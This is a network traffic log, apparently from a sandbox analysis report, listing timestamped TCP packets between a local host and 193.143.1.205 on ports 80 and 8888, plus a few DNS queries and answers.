Jan 11, 2025 08:36:58.252954006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252966881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252978086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252990007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253000975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253002882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253012896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253021002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253026009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253041983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253089905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253089905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253114939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253125906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253137112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253146887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253160000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253160954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253179073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253180981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253192902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253206015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253216982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253228903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253242016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253249884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253249884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253297091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.253670931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.253714085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256012917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256042957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256058931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256073952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256088972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256103039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256113052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256113052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256125927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256141901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256155968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256170034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256185055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256192923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256192923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256202936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256216049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256241083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256340027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256355047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256371021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256383896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256412983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256414890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256431103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256445885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256455898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256459951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256501913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256501913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256552935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256567955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256582022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256608963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256645918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256691933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256700039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256715059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256752014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.256788969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256803989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256818056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.256840944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.284638882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284677029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284693956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284719944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284744978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284744978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.284760952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284776926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284795046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.284827948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.284842014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.293077946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.307812929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.307862997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.307877064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.307902098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.307917118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308054924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308072090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308088064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308105946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308219910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308234930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308248043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308255911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.308260918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308290958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.308347940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.308379889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308397055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308413029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308449984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.308521032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308537006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308551073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.308552027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308564901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308579922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308594942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.308602095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.308641911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.309288979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.341943979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.341967106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.341989994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.341994047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342003107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342016935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342030048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342031002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342119932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342123985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342165947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342190027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342206955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342220068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342233896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342247963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342291117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342391968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342407942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342422009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342434883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342449903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342464924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342477083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342477083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342530966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342617989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342633009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342694998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342711926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342725992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342739105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342783928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342875957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342890024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342901945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342916012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342931032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.342940092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342940092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.342989922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343179941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343194008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343214989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343229055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343242884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343256950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343256950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343270063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343274117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343282938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343297005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343305111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343319893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343322992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343334913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343350887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343385935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343482018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343687057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343766928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343781948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343797922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343841076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343853951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343867064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343868971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343882084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343895912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343908072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343909025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.343910933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.343945026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344228983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344244003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344253063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344261885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344269991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344283104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344291925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344314098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344325066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344330072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344343901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344358921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344362020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344362020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344372988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344388962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344403982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344419003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344433069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344446898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344455004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344455004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344460964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344476938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.344501019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.344567060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345242023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345256090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345268965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345283031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345297098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345310926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345324993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345326900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345326900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345338106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345351934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345366001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345380068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345381021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345381021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345395088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345402956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345410109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345422983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345437050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345449924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345467091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.345477104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345477104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.345525026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.375602007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375624895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375648975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375663996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375667095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.375679016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375695944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375709057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375724077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.375731945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.375754118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.398909092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.398927927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.398948908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.398960114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.398971081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.398972988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399005890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399044991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399099112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399111986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399123907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399136066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399158955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399178028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399344921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399360895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399373055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399445057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399451017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399461985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399481058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399490118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399538994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399549961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399559975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399565935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399569035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.399571896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399576902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399581909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.399637938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.425646067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433155060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433166981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433198929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433198929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433209896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433233976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433271885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433284044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433317900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433379889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433391094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433403015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433429003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433429003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433557034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433568001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433577061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433588982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433594942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433599949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433636904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433753967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433810949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.433865070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433876038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433886051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.433902979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.479391098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.696829081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.701986074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.840581894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:59.265193939 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:59.270179033 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:59.270256996 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:59.270427942 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:59.275219917 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:37:00.066649914 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:37:00.120109081 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:37:00.163067102 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:37:07.175256014 CET	60301	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:37:07.175256014 CET	192.168.2.8	1.1.1.1	0x5b66	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:37:07.183808088 CET	1.1.1.1	192.168.2.8	0x5b66	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:37:07.893235922 CET	1.1.1.1	192.168.2.8	0x6097	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:37:07.893235922 CET	1.1.1.1	192.168.2.8	0x6097	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:38:12.758229017 CET	1.1.1.1	192.168.2.8	0xf5b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
